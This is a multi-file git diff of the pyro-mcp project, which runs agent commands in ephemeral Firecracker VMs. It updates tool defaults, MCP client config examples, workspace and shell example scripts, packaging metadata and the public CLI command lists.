||||
)
|
||||
return json.dumps(result, sort_keys=True)
|
||||
|
||||
|
|
@ -55,12 +64,13 @@ def build_langchain_vm_run_tool() -> Any:
|
|||
def vm_run(
|
||||
environment: str,
|
||||
command: str,
|
||||
vcpu_count: int,
|
||||
mem_mib: int,
|
||||
timeout_seconds: int = 30,
|
||||
ttl_seconds: int = 600,
|
||||
vcpu_count: int = DEFAULT_VCPU_COUNT,
|
||||
mem_mib: int = DEFAULT_MEM_MIB,
|
||||
timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS,
|
||||
ttl_seconds: int = DEFAULT_TTL_SECONDS,
|
||||
network: bool = False,
|
||||
) -> str:
|
||||
allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT,
|
||||
) -> str:
|
||||
"""Run one command in an ephemeral Firecracker VM and clean it up."""
|
||||
return run_vm_run_tool(
|
||||
environment=environment,
|
||||
|
|
@ -70,6 +80,7 @@ def build_langchain_vm_run_tool() -> Any:
|
|||
timeout_seconds=timeout_seconds,
|
||||
ttl_seconds=ttl_seconds,
|
||||
network=network,
|
||||
allow_host_compat=allow_host_compat,
|
||||
)
|
||||
|
||||
return vm_run
|
||||
|
|
|
|||
|
|
@ -1,5 +1,31 @@
|
|||
# MCP Client Config Example
|
||||
|
||||
Recommended named modes for most chat hosts in `4.x`:
|
||||
|
||||
- `repro-fix`
|
||||
- `inspect`
|
||||
- `cold-start`
|
||||
- `review-eval`
|
||||
|
||||
Use the host-specific examples first when they apply:
|
||||
|
||||
- Claude Code: [examples/claude_code_mcp.md](claude_code_mcp.md)
|
||||
- Codex: [examples/codex_mcp.md](codex_mcp.md)
|
||||
- OpenCode: [examples/opencode_mcp_config.json](opencode_mcp_config.json)
|
||||
|
||||
Preferred repair/bootstrap helpers:
|
||||
|
||||
- `pyro host connect codex --mode repro-fix`
|
||||
- `pyro host connect codex --mode inspect`
|
||||
- `pyro host connect claude-code --mode cold-start`
|
||||
- `pyro host connect claude-code --mode review-eval`
|
||||
- `pyro host print-config opencode --mode repro-fix`
|
||||
- `pyro host doctor --mode repro-fix`
|
||||
- `pyro host repair opencode --mode repro-fix`
|
||||
|
||||
Use this generic config only when the host expects a plain `mcpServers` JSON
|
||||
shape or when the named modes are too narrow for the workflow.
|
||||
|
||||
`pyro-mcp` is intended to be exposed to LLM clients through the public `pyro` CLI.
|
||||
|
||||
Generic stdio MCP configuration using `uvx`:
|
||||
|
|
@ -9,7 +35,7 @@ Generic stdio MCP configuration using `uvx`:
|
|||
"mcpServers": {
|
||||
"pyro": {
|
||||
"command": "uvx",
|
||||
"args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"]
|
||||
"args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -22,19 +48,32 @@ If `pyro-mcp` is already installed locally, the same server can be configured wi
|
|||
"mcpServers": {
|
||||
"pyro": {
|
||||
"command": "pyro",
|
||||
"args": ["mcp", "serve"]
|
||||
"args": ["mcp", "serve", "--mode", "repro-fix"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Primary tool for most agents:
|
||||
If the host does not preserve the server working directory and you want the
|
||||
first `workspace_create` to start from a specific checkout, add
|
||||
`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same args list.
|
||||
|
||||
- `vm_run`
|
||||
Mode progression:
|
||||
|
||||
- `repro-fix`: patch, rerun, diff, export, reset
|
||||
- `inspect`: narrow offline-by-default inspection
|
||||
- `cold-start`: validation plus service readiness
|
||||
- `review-eval`: shell and snapshot-driven review
|
||||
- generic no-mode path: the fallback when the named mode is too narrow
|
||||
- `workspace-full`: explicit advanced opt-in for shells, services, snapshots, secrets, network policy, and disk tools
|
||||
|
||||
Primary mode for most agents:
|
||||
|
||||
- `repro-fix`
|
||||
|
||||
Use lifecycle tools only when the agent needs persistent VM state across multiple tool calls.
|
||||
|
||||
Concrete client-specific examples:
|
||||
Other generic-client examples:
|
||||
|
||||
- Claude Desktop: [examples/claude_desktop_mcp_config.json](claude_desktop_mcp_config.json)
|
||||
- Cursor: [examples/cursor_mcp_config.json](cursor_mcp_config.json)
|
||||
|
|
|
|||
|
|
@ -15,6 +15,13 @@ import os
|
|||
from typing import Any
|
||||
|
||||
from pyro_mcp import Pyro
|
||||
from pyro_mcp.vm_manager import (
|
||||
DEFAULT_ALLOW_HOST_COMPAT,
|
||||
DEFAULT_MEM_MIB,
|
||||
DEFAULT_TIMEOUT_SECONDS,
|
||||
DEFAULT_TTL_SECONDS,
|
||||
DEFAULT_VCPU_COUNT,
|
||||
)
|
||||
|
||||
DEFAULT_MODEL = "gpt-5"
|
||||
|
||||
|
|
@ -33,8 +40,9 @@ OPENAI_VM_RUN_TOOL: dict[str, Any] = {
|
|||
"timeout_seconds": {"type": "integer"},
|
||||
"ttl_seconds": {"type": "integer"},
|
||||
"network": {"type": "boolean"},
|
||||
"allow_host_compat": {"type": "boolean"},
|
||||
},
|
||||
"required": ["environment", "command", "vcpu_count", "mem_mib"],
|
||||
"required": ["environment", "command"],
|
||||
"additionalProperties": False,
|
||||
},
|
||||
}
|
||||
|
|
@ -45,11 +53,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]:
|
|||
return pyro.run_in_vm(
|
||||
environment=str(arguments["environment"]),
|
||||
command=str(arguments["command"]),
|
||||
vcpu_count=int(arguments["vcpu_count"]),
|
||||
mem_mib=int(arguments["mem_mib"]),
|
||||
timeout_seconds=int(arguments.get("timeout_seconds", 30)),
|
||||
ttl_seconds=int(arguments.get("ttl_seconds", 600)),
|
||||
vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)),
|
||||
mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)),
|
||||
timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)),
|
||||
ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)),
|
||||
network=bool(arguments.get("network", False)),
|
||||
allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)),
|
||||
)
|
||||
|
||||
|
||||
|
|
@ -88,7 +97,7 @@ def main() -> None:
|
|||
model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL)
|
||||
prompt = (
|
||||
"Use the vm_run tool to run `git --version` in an ephemeral VM. "
|
||||
"Use the `debian:12` environment with 1 vCPU and 1024 MiB of memory. "
|
||||
"Use the `debian:12` environment. "
|
||||
"Do not use networking for this request."
|
||||
)
|
||||
print(run_openai_vm_run_example(prompt=prompt, model=model))
|
||||
|
|
|
|||
90
examples/openai_responses_workspace_core.py
Normal file
90
examples/openai_responses_workspace_core.py
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
"""Canonical OpenAI Responses API integration centered on workspace-core.
|
||||
|
||||
Requirements:
|
||||
- `pip install openai` or `uv add openai`
|
||||
- `OPENAI_API_KEY`
|
||||
|
||||
This is the recommended persistent-chat example. In 4.x the default MCP server
|
||||
profile is already `workspace-core`, so it derives tool schemas from
|
||||
`Pyro.create_server()` and dispatches tool calls back through that same
|
||||
default-profile server.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import os
|
||||
from typing import Any, cast
|
||||
|
||||
from pyro_mcp import Pyro
|
||||
|
||||
DEFAULT_MODEL = "gpt-5"
|
||||
|
||||
|
||||
def _tool_to_openai(tool: Any) -> dict[str, Any]:
|
||||
return {
|
||||
"type": "function",
|
||||
"name": str(tool.name),
|
||||
"description": str(getattr(tool, "description", "") or ""),
|
||||
"strict": True,
|
||||
"parameters": dict(tool.inputSchema),
|
||||
}
|
||||
|
||||
|
||||
def _extract_structured(raw_result: object) -> dict[str, Any]:
|
||||
if not isinstance(raw_result, tuple) or len(raw_result) != 2:
|
||||
raise TypeError("unexpected call_tool result shape")
|
||||
_, structured = raw_result
|
||||
if not isinstance(structured, dict):
|
||||
raise TypeError("expected structured dictionary result")
|
||||
return cast(dict[str, Any], structured)
|
||||
|
||||
|
||||
async def run_openai_workspace_core_example(*, prompt: str, model: str = DEFAULT_MODEL) -> str:
|
||||
from openai import OpenAI # type: ignore[import-not-found]
|
||||
|
||||
pyro = Pyro()
|
||||
server = pyro.create_server()
|
||||
tools = [_tool_to_openai(tool) for tool in await server.list_tools()]
|
||||
client = OpenAI()
|
||||
input_items: list[dict[str, Any]] = [{"role": "user", "content": prompt}]
|
||||
|
||||
while True:
|
||||
response = client.responses.create(
|
||||
model=model,
|
||||
input=input_items,
|
||||
tools=tools,
|
||||
)
|
||||
input_items.extend(response.output)
|
||||
|
||||
tool_calls = [item for item in response.output if item.type == "function_call"]
|
||||
if not tool_calls:
|
||||
return str(response.output_text)
|
||||
|
||||
for tool_call in tool_calls:
|
||||
result = _extract_structured(
|
||||
await server.call_tool(tool_call.name, json.loads(tool_call.arguments))
|
||||
)
|
||||
input_items.append(
|
||||
{
|
||||
"type": "function_call_output",
|
||||
"call_id": tool_call.call_id,
|
||||
"output": json.dumps(result, sort_keys=True),
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL)
|
||||
prompt = (
|
||||
"Use the workspace-core tools to create a Debian 12 workspace named "
|
||||
"`chat-fix`, write `app.py` with `print(\"fixed\")`, run it with "
|
||||
"`python3 app.py`, export the file to `./app.py`, then delete the workspace. "
|
||||
"Do not use one-shot vm_run for this request."
|
||||
)
|
||||
print(asyncio.run(run_openai_workspace_core_example(prompt=prompt, model=model)))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
9
examples/opencode_mcp_config.json
Normal file
9
examples/opencode_mcp_config.json
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
{
|
||||
"mcp": {
|
||||
"pyro": {
|
||||
"type": "local",
|
||||
"enabled": true,
|
||||
"command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -11,19 +11,13 @@ def main() -> None:
|
|||
pyro = Pyro()
|
||||
created = pyro.create_vm(
|
||||
environment="debian:12",
|
||||
vcpu_count=1,
|
||||
mem_mib=1024,
|
||||
ttl_seconds=600,
|
||||
network=False,
|
||||
)
|
||||
vm_id = str(created["vm_id"])
|
||||
|
||||
try:
|
||||
pyro.start_vm(vm_id)
|
||||
result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30)
|
||||
print(json.dumps(result, indent=2, sort_keys=True))
|
||||
finally:
|
||||
pyro.delete_vm(vm_id)
|
||||
pyro.start_vm(vm_id)
|
||||
result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30)
|
||||
print(json.dumps(result, indent=2, sort_keys=True))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
|
|
|||
|
|
@ -12,8 +12,6 @@ def main() -> None:
|
|||
result = pyro.run_in_vm(
|
||||
environment="debian:12",
|
||||
command="git --version",
|
||||
vcpu_count=1,
|
||||
mem_mib=1024,
|
||||
timeout_seconds=30,
|
||||
network=False,
|
||||
)
|
||||
|
|
|
|||
40
examples/python_shell.py
Normal file
40
examples/python_shell.py
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
from __future__ import annotations
|
||||
|
||||
import tempfile
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from pyro_mcp import Pyro
|
||||
|
||||
|
||||
def main() -> None:
|
||||
pyro = Pyro()
|
||||
with tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir:
|
||||
Path(seed_dir, "note.txt").write_text("hello from shell\n", encoding="utf-8")
|
||||
created = pyro.create_workspace(environment="debian:12", seed_path=seed_dir)
|
||||
workspace_id = str(created["workspace_id"])
|
||||
try:
|
||||
opened = pyro.open_shell(workspace_id)
|
||||
shell_id = str(opened["shell_id"])
|
||||
pyro.write_shell(workspace_id, shell_id, input="pwd")
|
||||
deadline = time.time() + 5
|
||||
while True:
|
||||
read = pyro.read_shell(
|
||||
workspace_id,
|
||||
shell_id,
|
||||
cursor=0,
|
||||
plain=True,
|
||||
wait_for_idle_ms=300,
|
||||
)
|
||||
output = str(read["output"])
|
||||
if "/workspace" in output or time.time() >= deadline:
|
||||
print(output, end="")
|
||||
break
|
||||
time.sleep(0.1)
|
||||
pyro.close_shell(workspace_id, shell_id)
|
||||
finally:
|
||||
pyro.delete_workspace(workspace_id)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
132
examples/python_workspace.py
Normal file
132
examples/python_workspace.py
Normal file
|
|
@ -0,0 +1,132 @@
|
|||
from __future__ import annotations
|
||||
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
from pyro_mcp import Pyro
|
||||
|
||||
|
||||
def main() -> None:
|
||||
pyro = Pyro()
|
||||
with (
|
||||
tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir,
|
||||
tempfile.TemporaryDirectory(prefix="pyro-workspace-sync-") as sync_dir,
|
||||
tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as export_dir,
|
||||
tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-") as disk_dir,
|
||||
tempfile.TemporaryDirectory(prefix="pyro-workspace-secret-") as secret_dir,
|
||||
):
|
||||
Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8")
|
||||
Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8")
|
||||
secret_file = Path(secret_dir, "token.txt")
|
||||
secret_file.write_text("from-file\n", encoding="utf-8")
|
||||
created = pyro.create_workspace(
|
||||
environment="debian:12",
|
||||
seed_path=seed_dir,
|
||||
name="repro-fix",
|
||||
labels={"issue": "123"},
|
||||
network_policy="egress+published-ports",
|
||||
secrets=[
|
||||
{"name": "API_TOKEN", "value": "expected"},
|
||||
{"name": "FILE_TOKEN", "file_path": str(secret_file)},
|
||||
],
|
||||
)
|
||||
workspace_id = str(created["workspace_id"])
|
||||
try:
|
||||
listed = pyro.list_workspaces()
|
||||
print(f"workspace_count={listed['count']}")
|
||||
updated = pyro.update_workspace(
|
||||
workspace_id,
|
||||
labels={"owner": "codex"},
|
||||
)
|
||||
print(updated["labels"]["owner"])
|
||||
pyro.push_workspace_sync(workspace_id, sync_dir)
|
||||
files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True)
|
||||
print(f"workspace_entries={len(files['entries'])}")
|
||||
note = pyro.read_workspace_file(workspace_id, "note.txt")
|
||||
print(note["content"], end="")
|
||||
written = pyro.write_workspace_file(
|
||||
workspace_id,
|
||||
"src/app.py",
|
||||
text="print('hello from file ops')\n",
|
||||
)
|
||||
print(f"written_bytes={written['bytes_written']}")
|
||||
patched = pyro.apply_workspace_patch(
|
||||
workspace_id,
|
||||
patch=(
|
||||
"--- a/note.txt\n"
|
||||
"+++ b/note.txt\n"
|
||||
"@@ -1 +1 @@\n"
|
||||
"-hello from sync\n"
|
||||
"+hello from patch\n"
|
||||
),
|
||||
)
|
||||
print(f"patch_changed={patched['changed']}")
|
||||
result = pyro.exec_workspace(workspace_id, command="cat note.txt")
|
||||
print(result["stdout"], end="")
|
||||
secret_result = pyro.exec_workspace(
|
||||
workspace_id,
|
||||
command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'',
|
||||
secret_env={"API_TOKEN": "API_TOKEN"},
|
||||
)
|
||||
print(secret_result["stdout"], end="")
|
||||
diff_result = pyro.diff_workspace(workspace_id)
|
||||
print(f"changed={diff_result['changed']} total={diff_result['summary']['total']}")
|
||||
snapshot = pyro.create_snapshot(workspace_id, "checkpoint")
|
||||
print(snapshot["snapshot"]["snapshot_name"])
|
||||
exported_path = Path(export_dir, "note.txt")
|
||||
pyro.export_workspace(workspace_id, "note.txt", output_path=exported_path)
|
||||
print(exported_path.read_text(encoding="utf-8"), end="")
|
||||
shell = pyro.open_shell(workspace_id, secret_env={"API_TOKEN": "API_TOKEN"})
|
||||
shell_id = str(shell["shell_id"])
|
||||
pyro.write_shell(
|
||||
workspace_id,
|
||||
shell_id,
|
||||
input='printf "%s\\n" "$API_TOKEN"',
|
||||
)
|
||||
shell_output = pyro.read_shell(
|
||||
workspace_id,
|
||||
shell_id,
|
||||
cursor=0,
|
||||
plain=True,
|
||||
wait_for_idle_ms=300,
|
||||
)
|
||||
print(f"shell_output_len={len(shell_output['output'])}")
|
||||
pyro.close_shell(workspace_id, shell_id)
|
||||
pyro.start_service(
|
||||
workspace_id,
|
||||
"web",
|
||||
command="touch .web-ready && while true; do sleep 60; done",
|
||||
readiness={"type": "file", "path": ".web-ready"},
|
||||
secret_env={"API_TOKEN": "API_TOKEN"},
|
||||
published_ports=[{"guest_port": 8080}],
|
||||
)
|
||||
services = pyro.list_services(workspace_id)
|
||||
print(f"services={services['count']} running={services['running_count']}")
|
||||
service_status = pyro.status_service(workspace_id, "web")
|
||||
print(f"service_state={service_status['state']} ready_at={service_status['ready_at']}")
|
||||
print(f"published_ports={service_status['published_ports']}")
|
||||
service_logs = pyro.logs_service(workspace_id, "web", tail_lines=20)
|
||||
print(f"service_stdout_len={len(service_logs['stdout'])}")
|
||||
pyro.stop_service(workspace_id, "web")
|
||||
stopped = pyro.stop_workspace(workspace_id)
|
||||
print(f"stopped_state={stopped['state']}")
|
||||
disk_listing = pyro.list_workspace_disk(workspace_id, path="/workspace", recursive=True)
|
||||
print(f"disk_entries={len(disk_listing['entries'])}")
|
||||
disk_read = pyro.read_workspace_disk(workspace_id, "note.txt")
|
||||
print(disk_read["content"], end="")
|
||||
disk_image = Path(disk_dir, "workspace.ext4")
|
||||
pyro.export_workspace_disk(workspace_id, output_path=disk_image)
|
||||
print(f"disk_bytes={disk_image.stat().st_size}")
|
||||
started = pyro.start_workspace(workspace_id)
|
||||
print(f"started_state={started['state']}")
|
||||
reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint")
|
||||
print(f"reset_count={reset['reset_count']}")
|
||||
print(f"secret_count={len(reset['secrets'])}")
|
||||
logs = pyro.logs_workspace(workspace_id)
|
||||
print(f"workspace_id={workspace_id} command_count={logs['count']}")
|
||||
finally:
|
||||
pyro.delete_workspace(workspace_id)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
[project]
|
||||
name = "pyro-mcp"
|
||||
version = "1.0.0"
|
||||
description = "Curated Linux environments for ephemeral Firecracker-backed VM execution."
|
||||
version = "4.5.0"
|
||||
description = "Disposable MCP workspaces for chat-based coding agents on Linux KVM."
|
||||
readme = "README.md"
|
||||
license = { file = "LICENSE" }
|
||||
authors = [
|
||||
|
|
@ -9,7 +9,7 @@ authors = [
|
|||
]
|
||||
requires-python = ">=3.12"
|
||||
classifiers = [
|
||||
"Development Status :: 5 - Production/Stable",
|
||||
"Development Status :: 4 - Beta",
|
||||
"Environment :: Console",
|
||||
"Intended Audience :: Developers",
|
||||
"License :: OSI Approved :: MIT License",
|
||||
|
|
@ -27,6 +27,7 @@ dependencies = [
|
|||
Homepage = "https://git.thaloco.com/thaloco/pyro-mcp"
|
||||
Repository = "https://git.thaloco.com/thaloco/pyro-mcp"
|
||||
Issues = "https://git.thaloco.com/thaloco/pyro-mcp/issues"
|
||||
PyPI = "https://pypi.org/project/pyro-mcp/"
|
||||
|
||||
[project.scripts]
|
||||
pyro = "pyro_mcp.cli:main"
|
||||
|
|
@ -66,6 +67,7 @@ dev = [
|
|||
"pre-commit>=4.5.1",
|
||||
"pytest>=9.0.2",
|
||||
"pytest-cov>=7.0.0",
|
||||
"pytest-xdist>=3.8.0",
|
||||
"ruff>=0.15.4",
|
||||
]
|
||||
|
||||
|
|
|
|||
|
|
@ -18,14 +18,13 @@ Materialization workflow:
|
|||
Official environment publication workflow:
|
||||
1. `make runtime-materialize`
|
||||
2. `DOCKERHUB_USERNAME=... DOCKERHUB_TOKEN=... make runtime-publish-official-environments-oci`
|
||||
3. or run the repo workflow at `.github/workflows/publish-environments.yml` with Docker Hub credentials
|
||||
4. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS`
|
||||
3. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS`
|
||||
|
||||
Official end-user pulls are anonymous; registry credentials are only required for publishing.
|
||||
|
||||
Build requirements for the real path:
|
||||
- `docker`
|
||||
- outbound network access to GitHub and Debian snapshot mirrors
|
||||
- outbound network access to the pinned upstream release hosts and Debian snapshot mirrors
|
||||
- enough disk for a kernel build plus 2G ext4 images per source profile
|
||||
|
||||
Kernel build note:
|
||||
|
|
@ -35,7 +34,7 @@ Kernel build note:
|
|||
Current status:
|
||||
1. Firecracker and Jailer are materialized from pinned official release artifacts.
|
||||
2. The kernel and rootfs images are built from pinned inputs into `build/runtime_sources/`.
|
||||
3. The guest agent is installed into each rootfs and used for vsock exec.
|
||||
3. The guest agent is installed into each rootfs and used for vsock exec plus workspace archive imports.
|
||||
4. `runtime.lock.json` now advertises real guest capabilities.
|
||||
|
||||
Safety rule:
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -5,7 +5,7 @@
|
|||
"firecracker": "1.12.1",
|
||||
"jailer": "1.12.1",
|
||||
"kernel": "5.10.210",
|
||||
"guest_agent": "0.1.0-dev",
|
||||
"guest_agent": "0.2.0-dev",
|
||||
"base_distro": "debian-bookworm-20250210"
|
||||
},
|
||||
"capabilities": {
|
||||
|
|
|
|||
|
|
@ -7,7 +7,8 @@ AGENT=/opt/pyro/bin/pyro_guest_agent.py
|
|||
mount -t proc proc /proc || true
|
||||
mount -t sysfs sysfs /sys || true
|
||||
mount -t devtmpfs devtmpfs /dev || true
|
||||
mkdir -p /run /tmp
|
||||
mkdir -p /dev/pts /run /tmp
|
||||
mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true
|
||||
hostname pyro-vm || true
|
||||
|
||||
cmdline="$(cat /proc/cmdline 2>/dev/null || true)"
|
||||
|
|
|
|||
8
scripts/daily_loop_smoke.py
Normal file
8
scripts/daily_loop_smoke.py
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
"""Run the real guest-backed daily-loop smoke."""
|
||||
|
||||
from pyro_mcp.daily_loop_smoke import main
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
25
scripts/render_tape.sh
Executable file
25
scripts/render_tape.sh
Executable file
|
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then
|
||||
printf 'Usage: %s <tape-file> [output-file]\n' "$0" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command -v vhs >/dev/null 2>&1; then
|
||||
printf '%s\n' 'vhs is required to render terminal recordings.' >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
TAPE_FILE="$1"
|
||||
OUTPUT_FILE="${2:-}"
|
||||
|
||||
cd "$ROOT_DIR"
|
||||
vhs validate "$TAPE_FILE"
|
||||
|
||||
if [ -n "$OUTPUT_FILE" ]; then
|
||||
vhs -o "$OUTPUT_FILE" "$TAPE_FILE"
|
||||
else
|
||||
vhs "$TAPE_FILE"
|
||||
fi
|
||||
8
scripts/workspace_use_case_smoke.py
Normal file
8
scripts/workspace_use_case_smoke.py
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
"""Run the real guest-backed workspace use-case smoke scenarios."""
|
||||
|
||||
from pyro_mcp.workspace_use_case_smokes import main
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
1374
src/pyro_mcp/api.py
1374
src/pyro_mcp/api.py
File diff suppressed because it is too large
Load diff
3649
src/pyro_mcp/cli.py
3649
src/pyro_mcp/cli.py
File diff suppressed because it is too large
Load diff
|
|
@ -2,35 +2,215 @@
|
|||
|
||||
from __future__ import annotations
|
||||
|
||||
PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run")
|
||||
PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "host", "mcp", "prepare", "run", "workspace")
|
||||
PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",)
|
||||
PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune")
|
||||
PUBLIC_CLI_DOCTOR_FLAGS = ("--platform", "--environment", "--json")
|
||||
PUBLIC_CLI_HOST_SUBCOMMANDS = ("connect", "doctor", "print-config", "repair")
|
||||
PUBLIC_CLI_HOST_COMMON_FLAGS = (
|
||||
"--installed-package",
|
||||
"--mode",
|
||||
"--profile",
|
||||
"--project-path",
|
||||
"--repo-url",
|
||||
"--repo-ref",
|
||||
"--no-project-source",
|
||||
)
|
||||
PUBLIC_CLI_HOST_CONNECT_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS
|
||||
PUBLIC_CLI_HOST_DOCTOR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",)
|
||||
PUBLIC_CLI_HOST_PRINT_CONFIG_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--output",)
|
||||
PUBLIC_CLI_HOST_REPAIR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",)
|
||||
PUBLIC_CLI_MCP_SUBCOMMANDS = ("serve",)
|
||||
PUBLIC_CLI_MCP_SERVE_FLAGS = (
|
||||
"--mode",
|
||||
"--profile",
|
||||
"--project-path",
|
||||
"--repo-url",
|
||||
"--repo-ref",
|
||||
"--no-project-source",
|
||||
)
|
||||
PUBLIC_CLI_PREPARE_FLAGS = ("--network", "--force", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = (
|
||||
"create",
|
||||
"delete",
|
||||
"disk",
|
||||
"diff",
|
||||
"exec",
|
||||
"export",
|
||||
"file",
|
||||
"list",
|
||||
"logs",
|
||||
"patch",
|
||||
"reset",
|
||||
"service",
|
||||
"shell",
|
||||
"snapshot",
|
||||
"start",
|
||||
"status",
|
||||
"stop",
|
||||
"summary",
|
||||
"sync",
|
||||
"update",
|
||||
)
|
||||
PUBLIC_CLI_WORKSPACE_DISK_SUBCOMMANDS = ("export", "list", "read")
|
||||
PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS = ("list", "read", "write")
|
||||
PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS = ("apply",)
|
||||
PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS = ("list", "logs", "start", "status", "stop")
|
||||
PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write")
|
||||
PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS = ("create", "delete", "list")
|
||||
PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS = ("push",)
|
||||
PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = (
|
||||
"--vcpu-count",
|
||||
"--mem-mib",
|
||||
"--ttl-seconds",
|
||||
"--network-policy",
|
||||
"--allow-host-compat",
|
||||
"--seed-path",
|
||||
"--name",
|
||||
"--label",
|
||||
"--secret",
|
||||
"--secret-file",
|
||||
"--json",
|
||||
"--id-only",
|
||||
)
|
||||
PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS = ("--output", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS = ("--recursive", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS = ("--max-bytes", "--content-only", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_EXEC_FLAGS = ("--timeout-seconds", "--secret-env", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS = ("--recursive", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--content-only", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--text-file", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_LIST_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--patch-file", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS = ("--tail-lines", "--all", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS = (
|
||||
"--cwd",
|
||||
"--ready-file",
|
||||
"--ready-tcp",
|
||||
"--ready-http",
|
||||
"--ready-command",
|
||||
"--ready-timeout-seconds",
|
||||
"--ready-interval-ms",
|
||||
"--secret-env",
|
||||
"--publish",
|
||||
"--json",
|
||||
)
|
||||
PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS = ("--json",)
|
||||
